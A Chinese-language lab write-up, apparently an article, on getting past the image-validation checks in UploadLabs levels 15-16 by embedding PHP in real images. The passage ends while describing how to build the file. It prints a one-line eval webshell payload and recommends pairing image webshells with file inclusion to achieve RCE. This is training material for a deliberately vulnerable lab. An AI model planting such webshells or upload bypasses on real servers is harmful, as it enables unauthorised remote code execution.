文章总结： 本文详细分析了UploadLabs第15-16关的图片马绕过技术，核心在于构造真实图片结构插入PHP代码以通过getimagesize()和exif_imagetype()检测。关键发现包括：检测机制从简单文件头校验升级为图片结构解析，但通过copy/b拼接合法图片与WebShell仍可绕过；PHP版本差异影响代码执行成功率。实战建议使用图片马结合文件包含漏洞实现RCE，强调检测通过不等于安全，关键在于文件可控性和执行路径。 综合评分： 85 文章分类： WEB安全,渗透测试,漏洞分析,实战经验,安全工具

关键点分析

1️⃣ getimagesize()是 PHP 中一个非常常用的内置函数，用于获取图像的大小和类型信息

👉 作用：

• 读取图片信息
• 判断文件是否为“合法图片”

返回结果说明

• 索引 0 给出的是图像宽度的像素值
• 索引 1 给出的是图像高度的像素值
• 索引 2 给出的是图像的类型，返回的是数字，其中1 = GIF，2 = JPG，3 = PNG，4 = SWF，5 = PSD，6 = BMP，7 = TIFF(intel byte order)，8 = TIFF(motorola byte order)，9 = JPC，10 = JP2，11 = JPX，12 = JB2，13 = SWC，14 = IFF，15 = WBMP，16 = XBM
• 索引 3 给出的是一个宽度和高度的字符串，可以直接用于 HTML 的 标签
• 索引 bits 给出的是图像的每种颜色的位数，二进制格式
• 索引 channels 给出的是图像的通道值，RGB 图像默认是 3
• 索引 mime 给出的是图像的 MIME 信息，此信息可以用来在 HTTP Content-type 头信息中发送正确的信息，如： header(“Content-type: image/jpeg”);

如果getimagesize无法读取图像信息，则返回false。

2️⃣ image_type_to_extension()

👉 返回：

```
.jpg / .png / .gif

### 3️⃣ 判断逻辑

能被识别为图片 → 允许上传

---

## 和第14关的本质区别

| 关卡 | 检测方式 |
| --- | --- |
| 第14关 | 字节判断 |
| 第15关 | **图片结构解析** |

---

👉 看起来更安全了，但其实：

👉 **仍然可以绕过**

# 三、第15关绕过思路

关键点：

👉 `getimagesize()` 只关心：

文件是否“像图片”

---

👉 并不会检查：

* 是否包含PHP代码
* 文件是否被污染

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## 我们先尝试使用第14关的绕过方式进行尝试。

## 构造文件txt，内容为：

GIF89a<?php@eval($_POST['cmd']); ?>

上传测试：

![](https://mmbiz.qpic.cn/sz_mmbiz_gif/5vTt22mqAAxlOp3dpSE0Ficsu7ics4w2kZ3dvNRjL9SPFXASwKdPN6dcaN6shdOIRe3dYmIT6IP1sXVhkCBP1WrVWCvMZmqqlxK6PsIc34Bwc/640?wx_fmt=gif&from=appmsg#imgIndex=0)

直接上传错误。

## 为什么会报错？

因为：

* 图片结构不完整 ❌
* getimagesize() 解析失败 ❌

正确思路：构造“真实图片马”

## 核心思想

👉 **不是伪造图片，而是：**

在“真实图片”中插入PHP代码

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👉 这才叫：

👉 **图片马（Image WebShell）**

四、实践绕过

1、构造图片马

方法：copy /b 拼接（Windows）

准备两个文件：

---

### 1️⃣ 一个正常图片

test.jpg